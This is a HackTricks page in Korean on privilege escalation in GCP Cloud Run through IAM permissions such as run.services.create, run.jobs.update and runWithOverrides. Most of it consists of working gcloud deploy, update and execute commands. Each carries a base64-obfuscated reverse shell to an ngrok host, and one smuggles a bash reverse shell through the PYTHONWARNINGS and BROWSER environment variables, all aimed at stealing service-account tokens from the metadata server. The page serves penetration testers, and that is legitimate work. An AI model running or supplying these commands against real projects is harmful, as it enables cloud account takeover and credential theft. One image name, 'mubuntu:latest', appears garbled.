GCP - Run Privesc

Support HackTricks

Cloud Run

Cloud Run에 대한 자세한 정보는 다음을 확인하세요:

run.services.create , iam.serviceAccounts.actAs, run.routes.invoke

임의의 코드를 실행하는 런 서비스 생성 권한을 가진 공격자는 서비스 계정을 연결하고 코드를 메타데이터에서 서비스 계정 토큰을 유출하도록 만들 수 있습니다.

이 방법에 대한 익스플로잇 스크립트는 여기에서 찾을 수 있으며, Docker 이미지는 여기에서 찾을 수 있습니다.

gcloud run deploy를 사용할 때는 단순히 서비스를 생성하는 대신 update 권한이 필요하다는 점에 유의하세요. 예제는 여기에서 확인할 수 있습니다.

run.services.update , iam.serviceAccounts.actAs

이전과 유사하지만 서비스를 업데이트하는 경우:

# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==

gcloud run deploy hacked \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

run.services.setIamPolicy

클라우드 Run에 대한 이전 권한을 부여합니다.

run.jobs.create, run.jobs.run, iam.serviceaccounts.actAs,(run.jobs.get)

명령어에 지정된 서비스 계정을 훔치기 위해 리버스 셸로 작업을 시작합니다. 여기에서 익스플로잇을 찾을 수 있습니다.

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

이전과 유사하게 작업을 업데이트하고 SA를 업데이트할 수 있으며, 명령을 실행할 수 있습니다:

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now

run.jobs.setIamPolicy

Cloud Jobs에 대한 이전 권한을 부여합니다.

run.jobs.run, run.jobs.runWithOverrides, (run.jobs.get)

작업 실행의 env 변수를 악용하여 임의의 코드를 실행하고 컨테이너의 내용을 덤프하기 위해 리버스 셸을 얻고 메타데이터 내의 SA에 접근합니다:

gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"

References

HackTricks 지원하기

Last updated